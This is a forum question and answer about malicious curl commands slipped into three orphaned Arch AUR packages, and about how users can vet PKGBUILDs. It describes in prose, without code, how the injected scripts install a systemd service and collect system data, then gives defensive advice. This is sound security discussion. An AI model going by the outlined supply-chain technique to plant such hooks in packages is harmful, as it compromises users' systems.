Malicious code has been found and deleted later from 3 AUR packages acroread, blaz and minergate (e,g: acroread PKGBUILD detail). It was found in a commit released by a malicious user by changing the owner of the orphaned AUR package and including a malicious curl command.
The curl command will download the main bash script x then the second script u (u.sh) in order to create a systemd service and using a function to collect some system data (non sensitive data) but the scripts can be modified by the attacker to be uploaded sequentially.
In practice not all users have the ability to check the PKGBUILD before building any package on their systems for some reasons (require some knowledge , take more time etc…). To understand how it work I have downloaded and uploaded the 2 bash scripts on this pastbin page.
What is the easiest way to check an AUR package for malicious code?
naked security : Another Linux community with malware woes
Malicious Software Packages Found On Arch Linux User Repository
Best Answer
The point is that it may be not so easy to an inexperienced user to check source code. However, with the natural counterpoints, it could also be argued Arch Linux is not the best suited Linux distribution for inexperienced users.
The Arch wiki(s), AUR helpers and most forums online warn about the dangers of such repositories/AUR, and that they must not be blindly trusted. Some helpers also warn your should read PKGBUILDs before installing them.
As a recommendation, it is always advised to use trizen or
aurman(or similar utilities) instead ofyaourt(listed as problematic/discontinued), as they offers the user the opportunity to inspect packages/diff listings. It also helps looking at the history of contributions when picking up or updating packages.Casual users should not then use these repositories as their main staple of source of packages when you have official binary packages as an alternative. If you have to use AUR, you can search Arch forums and/or mailing lists for reports of problems. However, while it is an overly optimist view, it seems the Arch community regularly inspects packages, as was the case here.
You can also try to use
maldetectto search downloaded source code for known malware signatures, in downloaded source code, however the probabiliy of catching something with custom made code is nil.maldetectis often more suited for catching malware in PHP code.P.S. In my last job, I used for a short while
dhcpdpackages compiled from source, and was using for years FreeRadius packages compiled from source (because the Debian version was obsolete).In the 1st case I did some cursory check of the source code from github for the couple of times I downloaded it. In the 2nd case, I followed actively the FreeRadius user forum, github forum, and code updates. I also had a testing/quarantine environment. (I even managed to submit an important bug report found in my testing environment).
Getting to the point, if you are doing any serious work with source installed packages, it usually involves much more work than official compiled packages offered by the distribution.
P.S.2. Usually any seasoned Unix admin will tell you running directly scripts/source code directly sourced from
curlwithout any kind of visual inspection, is a very bad idea from the security point of view.